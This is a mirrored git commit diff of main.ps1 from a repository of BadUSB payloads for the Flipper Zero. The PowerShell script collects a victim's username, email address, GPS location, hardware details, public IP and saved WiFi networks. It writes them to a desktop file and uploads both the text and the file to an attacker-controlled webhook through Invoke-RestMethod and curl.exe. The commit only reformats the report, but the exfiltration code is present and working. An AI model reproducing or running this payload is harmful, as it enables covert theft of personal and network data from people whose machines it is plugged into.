mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-30 14:40:41 -08:00
Update main.ps1
This commit is contained in:
@@ -157,7 +157,7 @@ else{
|
||||
|
||||
|
||||
$infomessage = "
|
||||
``````==================================================================================================================================
|
||||
==================================================================================================================================
|
||||
_________ __ .__ _____ __ .__
|
||||
/ _____/__.__. _______/ |_ ____ _____ |__| _____/ ____\___________ _____ _____ _/ |_|__| ____ ____
|
||||
\_____ < | |/ ___/\ __\/ __ \ / \ ______ | |/ \ __\/ _ \_ __ \/ \\__ \\ __\ |/ _ \ / \
|
||||
@@ -165,8 +165,11 @@ $infomessage = "
|
||||
/_______ / ____/____ > |__| \___ >__|_| / |__|___| /__| \____/|__| |__|_| (____ /__| |__|\____/|___| /
|
||||
\/\/ \/ \/ \/ \/ \/ \/ \/
|
||||
==================================================================================================================================
|
||||
"
|
||||
|
||||
$infomessage1 = "``````
|
||||
User Information
|
||||
----------------------------------------------------------------------------------------------------------------------------------
|
||||
------------------------------------------------------------
|
||||
Current User : $env:USERNAME
|
||||
Email Address : $email
|
||||
Language : $systemLanguage
|
||||
@@ -177,10 +180,9 @@ Build ID : $ver
|
||||
Architechture : $OSArch
|
||||
Screen Size : $screensize
|
||||
Location : $GPS
|
||||
|
||||
==================================================================================================================================
|
||||
=============================================================
|
||||
Hardware Information
|
||||
----------------------------------------------------------------------------------------------------------------------------------
|
||||
-------------------------------------------------------------
|
||||
Processor : $processor
|
||||
Memory : $RamInfo
|
||||
Gpu : $gpu
|
||||
@@ -196,10 +198,9 @@ $PMcpu
|
||||
$PMmu
|
||||
$PMdio
|
||||
$PMnio
|
||||
|
||||
==================================================================================================================================
|
||||
=============================================================
|
||||
Network Information
|
||||
----------------------------------------------------------------------------------------------------------------------------------
|
||||
-------------------------------------------------------------
|
||||
Public IP Address : $computerPubIP
|
||||
|
||||
Saved WiFi Networks
|
||||
@@ -256,9 +257,10 @@ $process
|
||||
|
||||
$outpath = "$env:USERPROFILE/Desktop/systeminfo.txt"
|
||||
$infomessage | Out-File -FilePath $outpath -Encoding ASCII -Append
|
||||
$infomessage1 | Out-File -FilePath $outpath -Encoding ASCII -Append
|
||||
$infomessage2 | Out-File -FilePath $outpath -Encoding ASCII -Append
|
||||
|
||||
$jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = "$infomessage"} | ConvertTo-Json
|
||||
$jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = "$infomessage1"} | ConvertTo-Json
|
||||
Invoke-RestMethod -Uri $hookurl -Method Post -ContentType "application/json" -Body $jsonsys
|
||||
|
||||
curl.exe -F file1=@"$outpath" $hookurl
|
||||
|
||||
Reference in New Issue
Block a user